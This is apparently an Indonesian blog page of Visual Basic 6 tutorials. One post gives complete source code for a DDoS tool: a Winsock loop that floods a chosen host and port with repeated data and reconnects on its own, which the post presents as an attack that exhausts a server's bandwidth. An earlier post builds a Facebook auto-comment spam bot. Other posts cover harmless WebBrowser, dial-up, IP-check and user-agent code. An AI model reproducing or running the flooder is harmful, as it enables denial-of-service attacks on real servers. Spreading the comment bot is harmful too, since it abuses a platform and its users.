Membuat Sendiri Facebook Auto Comment Menggunakan Visual Basic 6

Pada artikel kali ini..yuk bersama - sama kita membuat sendiri tool hacking facebook bernama Facebook Auto Comment. Tool ini bukan untuk menghacking facebook, tapi hack sederhana memanfaatkan elemen halaman facebook yang bisa kita manipulasi.

Karena judulnya adalah Facebook Auto Comment, maka script sederhana ini berfungsi untuk memberikan komentar otomatis ke status teman yang saat itu terbuka di browser. Ingat..!!! Status Yang Terbuka Dibrowser. Soo...script berikut pastinya akan mengenai semua status teman yang saat itu sobat buka.

Program yang digunakan untuk membuat tool Facebook Auto Comment hanya menggunakan Visual Basic 6. Jika sudah siap mari kita buat sendiri tool Facebook Auto Comment

1. Buka program Visual Basic 6 sobat. Buat sebuah project baru.

2. Masukkan terlebih dahulu control Webbrowser melalui menu Project > Components. Masukkan control Microsoft Internet Controls

3. Lalu atur sedemikian rupa agar kita bisa menggunakan control Webbrowser untuk login ke facebook atau bisa untuk browsing. Untuk hal ini bisa sobat baca dalam pembahasan Tehnik Dasar Penggunaan Web Browser Dalam VB6

4. Jika browser sederhana sobat sudah jadi tinggal buat sebuah tombol untuk memberikan komentar secara otomatis. Jangan lupa juga beri control textbox untuk menuliskan komentar sobat

5. Jangan lupa menambahkan Reference Microsoft HTML Object Library agar coding bisa berfungsi. Caranya dengan memilih menu Project > Reference lalu centang Microsoft HTML Object Library

6. Dalam tombol Kirim Komentar ( commandbutton ) silakan masukkan coding berikut

Private Sub CMDDKIRIM_Click()
Dim HTMLdoc As HTMLDocument
Dim ISI, SUBMIT As HTMLInputElement

Set HTMLdoc = WebBrowser1.Document
'Untuk mempostingkan isi value profil ke situs
For Each ISI In HTMLdoc.getElementsByName("add_comment_text")
ISI.Value = TXTKOMEN.Text
ISI.Click

For Each SUBMIT In HTMLdoc.getElementsByName("comment")
SUBMIT.Value = "Komentari"
SUBMIT.Click
Next SUBMIT
End Sub

TXTKOMEN.Text adalah control textbox yang berisi komentar sobat

Nah...sekarang coba sobat login ke facebook menggunakan browser built in Webbrowser. Setelah itu isi komentar pada textbox. Akhiri dengan menekan tombol Kirim

Selesai...kini sobat sudah bisa membuat Facebook Auto Comment sendiri. Dan silakan kembangkan sendiri agar hasil bisa optimal. Dan mohon maaf saya tidak menyediakan source code. Karena belajar sendiri secara langsung justru akan membuat kemampuan menjadi terasah.

Salam programmer....

09.04 | 1 komentar | Read More

Membuat Sendiri DDoS Tool Dengan Visual Basic 6

Saat ini banyak bertebaran DDoS Tool yang bisa kita jumpai di dunia maya ini. DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker yang sangat mematikan. Prinsip kerja dari DDoS adalah kita akan mengirimkan sejumlah perintah berulang ulang dalam waktu yang relatif cepat ke server target. Tujuan dari DDoS adalah dengan menghabiskan bandwith dari server target. Sehingga nantinya server akan mengalami kerusakan.

Untuk keterangan selanjutnya tentang DDoS silakan sobat googling saja. Dalam Visual Basic 6 kita bisa memanfaatkan kontrol winsock untuk membuat sendiri DDoS Tool yang sangat powerfull. Winsock adalah sebuah kontrol yang mampu masuk ke jaringan dengan melalui protokol yang sudah diatur. Untuk memulainya silakan ikuti langkah berikut :

1. Buka Visual Basic 6 sobat. Buat project baru, masukkan componen Microsoft Winsock Control

2. Masukkan coding berikut

Dim FILENAME As String, listItem As String

Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper

'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1  'Konstanta untuk menampilkan 'jendela normal

Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub

Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub

Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub

Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub

Private Sub LBLSITUS_Click()
Dim situs As Long
  'Tampilkan program default untuk membuka situs ke
  'alamat lblSitus
  situs = ShellExecute(0, vbNullString, _
          LBLSITUS, "", "", vbNormalFocus)
  LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
                               'warna
End Sub

Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub

Private Sub MNUUP_Click()
FRMUP.Show
End Sub

Private Sub SocK_Close()
 lblStatus.Caption = "Putus"
End Sub

Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub

Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub

Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
        Do
        On Error GoTo REMUK
        Sock.SendData DATA
      
        lblStatus = "Menyerang"
        lblStatus.ForeColor = &HFF00&
        LBLDATA.Caption = Sock.SocketHandle
        DoEvents
        lblSent.Caption = lblSent.Caption + 1
        Loop
REMUK:
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
        Timer2.Enabled = True

Else
       
        CMDSTOP_Click
        Timer2.Enabled = True
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub

Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub

Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
  On Error GoTo ErrH
  Dim objInterface        As CInterface
  Static lngBytesRecv     As Long
  Static lngBytesSent     As Long
  Dim lIn As Long, lOut As Long
 
  Set objInterface = m_objIpHelper.Interfaces(1)
  lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
  lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
  If lIn < 0 Then lIn = 0
  If lOut < 0 Then lOut = 0
 
  LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
  LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
  picGraph.ScaleMode = 3
  DrawUsage picGraph, lIn, lOut
  lngBytesRecv = m_objIpHelper.BytesReceived
  lngBytesSent = m_objIpHelper.BytesSent
  DoEvents
  tmrPoll.Enabled = True
Exit Sub
ErrH:
  tmrPoll.Enabled = True
  Debug.Print Err.Description
End Sub

Function GetTransferRate(pDiff As Long) As String
  Dim d As Double
 
   d = pDiff / 1024
  If d < 1024 Then
    GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
    Exit Function
  End If
 
  ' Mbytes
  d = pDiff / 1024
  GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function

Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""

On Error Resume Next
Open FILENAME For Input As #1
    Do While Not EOF(1)
        Input #1 & vbNewLine, listItem
        'If Not (listItem = "") Then
            TXTDATA.Text = listItem
        'End If
    Loop
  
Close #1

End Sub

Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub
 

3. Simpan dan jalankan project sobat.

Hati - hati dalam menggunakan tool ini. Gunakan secara bijak

Source Code DOWNDLOAD

Password : http://3hsoftcom.blogspot.com

09.50 | 0 komentar | Read More

Tehnik Dasar Penggunaan Web Browser Dalam VB6

Web Browser didalam Visual Basic 6 berperan untuk berselancar ke dunia maya. Dengan menggunakan Web Browser kita bisa membuat sendiri sebuah browser yang cukup powerfull. Web Browser adalah basic control yang memakai engine Internet Explorer. Engine Internet Explorer banyak dipakai oleeh browser - browser terkemuka seperti Chrome, Opera maupun Safari.

Taukah anda, bahwa banyak sekali penggunaan script yang masih tersembunyi yang dimiliki oleh control Web Browser. Script ini bisa membuat Web Browser yang kita buat makin powerfull dan tentunya terlihat keren dan profesional.

Untuk bisa menggunakan control Web Browser sobat harus menambahkan terlebih dahulu Componen Microsoft Internet Conrols. Berikut ini adalah script yang umum digunakan pada control Web Browser

Menuju Ke URL Target 

WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"

Membuka Popup Windows Baru

Private Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)
Dim frm As Form1
Set frm = New Form1
Set ppDisp = frm.WebBrowser1.Object
frm.Show
End Sub 

Mencari Kata Dalam Suatu Halaman

Private Sub Command1_Click()
Dim strfindword As String
strfindword = InputBox("What are you looking for?", "Find", "") ' what word to find?
If WebPageContains(strfindword) = True Then 'check if the word is in page
MsgBox "The webpage contains the text" 'string is in page
Else
MsgBox "The webpage doesn't contains the text" 'string is not in page
End If
End Sub

Private Function WebPageContains(ByVal s As String) As Boolean
Dim i As Long, EHTML
For i = 1 To WebBrowser1.Document.All.length
Set EHTML = _
WebBrowser1.Document.All.Item(i)
If Not (EHTML Is Nothing) Then
If InStr(1, EHTML.innerHTML, _
s, vbTextCompare) > 0 Then
WebPageContains = True
Exit Function
End If
End If
Next i
End Function

Private Sub Form_Load()
WebBrowser1.Navigate2 "http://3hsoftcom.blogspot.com"
End Sub 

Fungsi Dasar Web Browser

Private Sub Command1_Click(Index As Integer)
On Error Resume Next

Select Case Index
Case 0 'Go Back Button
WebBrowser1.GoBack 'Fungsi untuk kembali ke halaman sebelumnya
Case 1 'Go Forward Button
WebBrowser1.GoForward 'Fungsi untuk maju ke halaman selanjutnya
Case 2 'Stop Button
WebBrowser1.Stop 'Berhenti browsing
Case 3 'Refresh Button
WebBrowser1.Refresh 'Refresh halaman
Case 4 'Go Home Button
WebBrowser1.GoHome 'Fungsi ke halaman awal
Case 5 'Search Button
WebBrowser1.GoSearch 'Fungsi pencarian
End Select
End Sub 

Fungsi Lanjutan Web Browser

Private Sub Command1_Click() 'Tombol Print
WebBrowser1.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_DODEFAULT 'Menampilkan Print Window
End Sub

Private Sub Command2_Click() 'Tombol Print Preview
WebBrowser1.ExecWB OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_DODEFAULT 'Menampilkan Print Preview Window
End Sub

Private Sub Command3_Click() 'Tombol Page Setup
WebBrowser1.ExecWB OLECMDID_PAGESETUP, OLECMDEXECOPT_DODEFAULT 'Menampilkan Page Setup Window
End Sub

Private Sub Command4_Click() 'Tombol Page Properties
WebBrowser1.ExecWB OLECMDID_PROPERTIES, OLECMDEXECOPT_DODEFAULT 'Menampilkan Page Properties Window
End Sub

Mengganti Ukuran Font

Private Sub Command1_Click() 'Tombol terkecil
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(0), vbNull
End Sub

Private Sub Command2_Click() 'Tombol kecil
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(1), vbNull
End Sub

Private Sub Command3_Click() 'Tombol sedang
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(2), vbNull
End Sub

Private Sub Command4_Click() 'Tombol besar
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(3), vbNull
End Sub

Private Sub Command5_Click() 'Tombol terbesar
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(4), vbNull
End Sub

Disable Klik Kanan Pada Web Browser

Option Explicit
Dim CustomWB As WBCustomizer 'Deceler the CustomWB

Private Sub Form_Load()
Set CustomWB = New WBCustomizer
With CustomWB
.EnableContextMenus = False 'Disable The Menu
.EnableAllAccelerators = True
Set .WebBrowser = WebBrowser1
End With
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
CustomWB.EnableContextMenus = False
End Sub

Mengambil Semua Link Di Halaman

Option Explicit
Private Sub Form_Load()
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
End Sub

Private Sub WebBrowser1_DownloadComplete()
'tambahkan reference "Microsoft HTML Object Library"
Dim HTMLdoc As HTMLDocument
Dim HTMLlinks As HTMLAnchorElement
Dim STRtxt As String
' Daftar link.
On Error Resume Next
Set HTMLdoc = WebBrowser1.Document
For Each HTMLlinks In HTMLdoc.links
STRtxt = STRtxt & HTMLlinks.href & vbCrLf
Next HTMLlinks
Text1.Text = STRtxt
End Sub

Menyimpan Halaman

Option Explicit
Private Sub Command1_Click()
WebBrowser1.ExecWB OLECMDID_SAVEAS, OLECMDEXECOPT_DODEFAULT
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
End Sub

Membuka Halaman

Private Sub Command2_Click()
WebBrowser1.ExecWB OLECMDID_OPEN, OLECMDEXECOPT_PROMPTUSER
End Sub 

jika menggunakan Common Dialog

Option Explicit
Private Sub Command1_Click()
On Error Resume Next
With CommonDialog1
.DialogTitle = "Buka File"
.Filter = "Web page (*.htm;*.html) | *.htm;*.html|" & _
"Gambar yang disupport formats|*.gif;*.tif;*.pcd;*.jpg;*.wmf;" & _
"*.tga;*.jpeg;*.ras;*.png;*.eps;*.bmp;*.pcx|" & _
"Text formats (*.txt;*.doc)|*.txt;*.doc|" & _
"All files (*.*)|*.*|"
.ShowOpen
.Flags = 5
WebBrowser1.Navigate2 .FileName
End With
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
End Sub

Auto Submit

Private Sub Command1_Click()
Dim strwebsite As String
Dim stremail As String
strwebsite = "http://3hsoftcom.blogspot.com"
stremail = "myemail@host.com"
WebBrowser1.Document.addurl.URL.Value = strwebsite
WebBrowser1.Document.addurl.Email.Value = stremail
WebBrowser1.Document.addurl.Submit
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://www.scrubtheweb.com/addurl.html"
End Sub

Penggunaan Progress Bar Dalam Web Browser

Private Sub Form_Load()
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
ProgressBar1.Appearance = ccFlat
ProgressBar1.Scrolling = ccScrollingSmooth
End Sub

Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)
On Error Resume Next
If Progress = -1 Then ProgressBar1.Value = 100
Me.Caption = "100%"
If Progress > 0 And ProgressMax > 0 Then
ProgressBar1.Value = Progress * 100 / ProgressMax
Me.Caption = Int(Progress * 100 / ProgressMax) & "%"
End If
Exit Sub
End Sub

Mengontrol Checkbox Dalam Halaman Lain

Private Sub Form_Load()
WebBrowser1.Navigate "https://www.google.com/accounts/ManageAccount"
End Sub

Private Sub Check1_Click()
If Check1.Value = 0 Then
WebBrowser1.Document.All.PersistentCookie.Checked = False 'unchecked
Else
WebBrowser1.Document.All.PersistentCookie.Checked = True 'checked
End If
End Sub

Mendapatkan Sourcecode Halaman

Dim pageSource As String
pageSource = webBrowser.document.body.parentElement.innerHTML

Mengambil Link Gambar

Dim pageImageLinks As Collection
Dim pageLinks As Object
pageLinks = webBrowser.document.getElementsByTagName("a")
Dim link As Object
Dim linkChildren As Object
For Each link In pageLinks
linkChildren = link.getElementsByTagName("img")
If (linkChildren.Count) _
pageImageLinks.Add(link)
Next

Mengecek Attribut

Dim favicon As String
Dim description As String
Dim links As HTMLElementCollection
Dim metas As HTMLElementCollection

Set links = wbrBrowser.Document.GetElementsByTagName("link")
Set metas = wbrBrowser.Document.GetElementsByTagName("meta")

Dim link As HTMLLinkElement
For Each link In links
If (InStr(link.GetAttribute("rel"), "icon") Then
favicon = link.GetAttribute("href")
Exit For
End If
Next

Dim meta As HTMLMetaElement
For Each meta In metas
If (meta.HasAttribute("description")) Then
description = meta.GetAttribute("content")
Exit For
End If
Next

Nah...banyak sekali..kan fungsi - fungsi yang bisa sobat praktekkan. Semoga dengan tutorial ini sobat mampu membuat sendiri Browser yang powerfull. Silakan dicoba

19.20 | 0 komentar | Read More

37 Kategori Source Code Dan Script Visual Basic 6 Untuk Pemula

Pada kesempatan kali ini saya ingin membagi informasi dan source code visual basic 6 untuk para pemula yang ingin belajar pemrograman visual basic 6 (vb6). Source code ini berisi kumpulan - kumpulan script yang biasa diterapkan.

Source code ini saya bagi dalam  37 kategori yang kesemuanya sudah saya kelompokkan, sehingga memudahlan untuk memilah script yang akan digunakan

37 Kategori ini meliputi :

KATEGORI 1 ACTIVEX DATA OBJECTS (ADO)
KATEGORI 2 DATABASE ADO CONTROL
KATEGORI 3 DATABASE DATA CODE
KATEGORI 4 DATABASE DATA CONTROL
KATEGORI 5 CETAK LAPORAN
KATEGORI 6 NOTEPAD SEDERHANA
KATEGORI 7 DATAGRID
KATEGORI 8 MEMBUAT SENDIRI FILE DLL & FILE OCX
KATEGORI 9 ARRAY
KATEGORI 10 CHECKBOX - OPTIONBUTTON
KATEGORI 11 COMBOBOX
KATEGORI 12 COMMAND BUTTON
KATEGORI 13 DATABASE
KATEGORI 14 DATE & TIME
KATEGORI 15 FILE & DIREKTORI
KATEGORI 16 FUNGSI BUATAN
KATEGORI 17 FORM
KATEGORI 18 INI File
KATEGORI 19 KEYBOARD
KATEGORI 20 KONVERSI
KATEGORI 21 LABEL
KATEGORI 22 LISTBOX
KATEGORI 23 LISTVIEW
KATEGORI 24 MASKEDBOX
KATEGORI 25 MATEMATIKA
KATEGORI 26 MOUSE
KATEGORI 27 PICTUREBOX
KATEGORI 28 PRINTER
KATEGORI 29 REGISTRY
KATEGORI 30 RICHTEXTBOX
KATEGORI 31 SCROLLBAR
KATEGORI 32 STATUSBAR
KATEGORI 33 STRING
KATEGORI 34 TEXTBOX
KATEGORI 35 TRANSFER DATA
KATEGORI 36 WINDOWS
KATEGORI 37 LAIN-LAIN

Untuk mencobanya sendiri silakan DOWNLOAD DISINI

20.45 | 0 komentar | Read More

Dial Internet Menggunakan Dial Up Networking Pada VB6

DUN ( Dial Up Networking ) adalah sebuah fasilitas di dalam windows yang berfungsi untuk mengkoneksi ke jaringan internet. Nah didalam program Visual Basic 6 kita bisa membuat sendiri fasilitas ini, tanpa mencampuri system windows yang ada.

Saat kita memakai DUN ( Dial Up Networking ) kita akan memanggil dan menjalankan file windows. Proses inilah yang akan kita jalankan agar program mau bekerja menjalankan proses koneksi dan diskonek dari file tersebut

Untuk bisa menjalankan proses koneksi dan diskonek internet menggunakan DUN silakan ikuti panduan berikut :

1. Buka visual basic 6 sobat. Buat sebuah project baru.

2. Tambahkan 2 buah Command Button pada project.

3. Buat sebuah modul. Lalu masukkan coding berikut pada modul tersebut

Option Explicit
'________________________________________________CONSTANTS UNTUK KONEKSI YG ADA__
Const ERROR_SUCCESS = 0&
Const APINULL = 0&
Const HKEY_LOCAL_MACHINE = &H80000002
Dim ReturnCode As Long
'________________________________________________CONSTANTS UNTUK KONEKSI BARU_______
Const RAS95_MaxEntryName = 256
Const RAS_MaxPhoneNumber = 128
Const RAS_MaxCallbackNumber = RAS_MaxPhoneNumber
Const UNLEN = 256
Const PWLEN = 256
Const DNLEN = 12
'________________________________________________CONSTANTS UNTUK PUTUS KONEKSI________
Const RAS_MAXDEVICETYPE = 16
Const RAS_MAXDEVICENAME = 128
Const RAS_RASCONNSIZE = 412
Const RAS_MAXENTRYNAME = 256
'________________________________________________JENIS KONEKSI___________
Private Type RASDIALPARAMS
dwSize As Long ' 1052
szEntryName(RAS95_MaxEntryName) As Byte
szPhoneNumber(RAS_MaxPhoneNumber) As Byte
szCallbackNumber(RAS_MaxCallbackNumber) As Byte
szUserName(UNLEN) As Byte
szPassword(PWLEN) As Byte
szDomain(DNLEN) As Byte
End Type
Private Type RASENTRYNAME95

dwSize As Long
szEntryName(RAS95_MaxEntryName) As Byte
End Type
'________________________________________________JENIS PUTUS KONEKSI____________
Private Type RasEntryName
dwSize As Long
szEntryName(RAS_MAXENTRYNAME) As Byte
End Type
Private Type RasConn
dwSize As Long
hRasConn As Long
szEntryName(RAS_MAXENTRYNAME) As Byte
szDeviceType(RAS_MAXDEVICETYPE) As Byte
szDeviceName(RAS_MAXDEVICENAME) As Byte
End Type
'________________________________________________API's UNTUK KONEKSI YANG ADA______
Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, _
lpType As Long, lpData As Any, lpcbData As Long) As Long
'________________________________________________API's UNTUK KONEKSI BARU___________
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(pDst As Any, ByVal pSrc As String, ByVal ByteLen As Long)
Private Declare Sub ZeroMemory Lib "kernel32.dll" Alias "RtlZeroMemory" _
(Destination As Any, ByVal Length As Long)
Private Declare Function RasDial Lib "rasapi32.dll" Alias "RasDialA" _
(ByVal lprasdialextensions As Long, ByVal lpcstr As String, _
ByRef lprasdialparamsa As RASDIALPARAMS, ByVal dword As Long, lpvoid As Any, _
ByRef lphrasconn As Long) As Long
Private Declare Function RasEnumEntries Lib "rasapi32.dll" Alias "RasEnumEntriesA" _
(ByVal reserved As String, ByVal lpszPhonebook As String, lprasentryname As Any, _
lpcb As Long, lpcEntries As Long) As Long
Private Declare Function RasGetEntryDialParams Lib "rasapi32.dll" Alias "RasGetEntryDialParamsA" _
(ByVal lpcstr As String, ByRef lprasdialparamsa As RASDIALPARAMS, _
ByRef lpbool As Long) As Long
'________________________________________________API's UNTUK PUTUS KONEKSI____________
Private Declare Function RasEnumConnections Lib "rasapi32.dll" Alias "RasEnumConnectionsA" _
(lpRasConn As Any, lpcb As Long, lpcConnections As Long) As Long
Private Declare Function RasHangUp Lib "rasapi32.dll" Alias "RasHangUpA" _
(ByVal hRasConn As Long) As Long
'________________________________________________FUNCTIONS: KONEKSI AKTIF_____
Public Function ActiveConnection() As Boolean
Dim hKey As Long
Dim lpSubKey As String
Dim phkResult As Long
Dim lpValueName As String
Dim lpReserved As Long
Dim lpType As Long
Dim lpData As Long
Dim lpcbData As Long
ActiveConnection = False
lpSubKey = "System\CurrentControlSet\Services\RemoteAccess"
ReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, lpSubKey, _
phkResult)
If ReturnCode = ERROR_SUCCESS Then
hKey = phkResult
lpValueName = "Remote Connection"
lpReserved = APINULL
lpType = APINULL
lpData = APINULL
lpcbData = APINULL
ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, ByVal lpData, lpcbData)
lpcbData = Len(lpData)
ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, lpData, lpcbData)
If ReturnCode = ERROR_SUCCESS Then
If lpData = 0 Then
ActiveConnection = False
Else
ActiveConnection = True
End If
End If
RegCloseKey (hKey)
End If
End Function


Public Function Dial(ByVal Connection As String, ByVal UserName As String, ByVal Password As String) As Boolean
Dim rp As RASDIALPARAMS, h As Long, resp As Long
rp.dwSize = Len(rp) + 6
ChangeBytes Connection, rp.szEntryName
ChangeBytes "", rp.szPhoneNumber
ChangeBytes "*", rp.szCallbackNumber
ChangeBytes UserName, rp.szUserName
ChangeBytes Password, rp.szPassword
ChangeBytes "*", rp.szDomain
'Dial
resp = RasDial(ByVal 0, ByVal 0, rp, 0, ByVal 0, h)
Dial = (resp = 0)
End Function

Private Function ChangeToStringUni(Bytes() As Byte) As String

Dim temp As String
temp = StrConv(Bytes, vbUnicode)
ChangeToStringUni = Left(temp, InStr(temp, Chr(0)) - 1)
End Function

Private Function ChangeBytes(ByVal str As String, Bytes() As Byte) As Boolean

Dim lenBs As Long
Dim lenStr As Long
lenBs = UBound(Bytes) - LBound(Bytes)
lenStr = LenB(StrConv(str, vbFromUnicode))
If lenBs > lenStr Then
CopyMemory Bytes(0), str, lenStr
ZeroMemory Bytes(lenStr), lenBs - lenStr
ElseIf lenBs = lenStr Then
CopyMemory Bytes(0), str, lenStr
Else
CopyMemory Bytes(0), str, lenBs
ChangeBytes = True
End If
End Function

Public Sub ListConnectionNames(Lst As ListBox)
Dim s As Long, l As Long, ln As Long, a$
ReDim r(255) As RASENTRYNAME95

r(0).dwSize = 264
s = 256 * r(0).dwSize
l = RasEnumEntries(vbNullString, vbNullString, r(0), s, ln)
For l = 0 To ln - 1
a$ = StrConv(r(l).szEntryName(), vbUnicode)
Lst.AddItem Left$(a$, InStr(a$, Chr$(0)) - 1)
Next
If Lst.ListCount > 0 Then
Lst.ListIndex = 0
End If
End Sub

Public Sub DisplayConnectionInfo(ConName As String, Txt1 As TextBox, Txt2 As TextBox)
Dim rdp As RASDIALPARAMS, t As Long
rdp.dwSize = Len(rdp) + 6
ChangeBytes ConName, rdp.szEntryName

t = RasGetEntryDialParams(ConName, rdp, 0)
If t = 0 Then
Txt1 = ChangeToStringUni(rdp.szUserName)
Txt2 = ChangeToStringUni(rdp.szPassword)
End If
End Sub

Sub HangUp()
Dim i As Long
Dim lpRasConn(255) As RasConn
Dim lpcb As Long
Dim lpcConnections As Long
Dim hRasConn As Long
Dim gstrIspName As String

lpRasConn(0).dwSize = RAS_RASCONNSIZE
lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize
lpcConnections = 0
ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections)

If ReturnCode = ERROR_SUCCESS Then
For i = 0 To lpcConnections - 1
hRasConn = lpRasConn(i).hRasConn
ReturnCode = RasHangUp(ByVal hRasConn)
Next i
End If
End Sub

4. Nah untuk melakukan koneksi internet, pada salah satu Command Button tinggal masukkan coding berikut

Private Sub Command1_Click()

Dial

End Sub

5. Untuk memutuskan koneksi internet tinggal masukkan coding berikut pada Command Button lainnya

Private Sub Command2_Click()

Hangup

End Sub

6. Simpan project dan silakan dicoba

09.54 | 0 komentar | Read More

Cara Mengecek IP Address Dalam Visual Basic 6

Dalam penggunaan coding jaringan, terkadang pengecekan IP address sangat diperlukan. Tergantung kebutuhan untuk apa dulu. Di visual basic 6 sudah ada kontrol yang mendukung untuk mengecek IP address komputer sobat. Baik untuk mengecek IP internal maupun eksternal.

Coding untuk mengecek IP Address sangat simpel. Ikuti langkah - langkah berikut ini :

1. Buka Visual Basic 6 sobat. Buatlah sebuah Project baru

2. Tambahkan control Label. Beri nama LBLIP

3. Tambahkan control Microsoft Internet Transfer Control 6.0. Beri nama Inet1

4. Tambahkan control Timer. Isi Value dengan nilai 50

5. Masukkan coding sebagai berikut

Dim MyIP As String

LBLIP.Caption = ""
LBLIP.Caption = "Mohon tunggu ..."
On Error Resume Next
MyIP = Inet1.OpenURL(http://pavel.kuzub.com/ip)
LBLIP.Caption = MyIPTimer1.Enabled = False

If LBLIP.Caption = "" Then
LBLIP.Caption = "Tidak bisa terkoneksi"
End If

Selesai. Kini sobat bisa mengetes sendiri. Pergunakan sebuah Command Button untuk mengetes.

Silakan dicoba

09.55 | 0 komentar | Read More

Cara Mengganti User Agent Pada Control WebBrowser VB6

Seperti yang kita ketahui bahwa untuk membuat browser sendiri di Visual Basic 6 kita memerlukan control WebBrowser bawaan dari Internet Explorer. Control ini adalah control satu - satunya yang diperlukan dalam pembuatan project browser. Sebenarnya masih ada lagi control WebBrowser plugin bawaan Mozilla, tapi agak susah dalam codingnya.

Script utama dalam berselancar ke web tujuan dengan menggunakan control WebBrowser adalah sebagai berikut :

WebBrowser1.Navigate "http://situs tujuan"

Fungsi diatas akan mengirimkan parameter default user agent bawaan Internet Explorer sobat. Nah, bagaimanakah caranya untuk mengganti User Agent ke User Agent setingan kita sendiri. Caranya sangat mudah, lihat coding berikut ini :

WebBrowser1.Navigate "http://situs tujuan", , , , "User-Agent:Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413"

Script diatas adalah untuk menuju ke situs tujuan dengan mengirimkan parameter sebagai Handphone Nokia. Untuk User Agent yang lain silakan masukkan parameter sesuai dengan keinginan.

Tips :

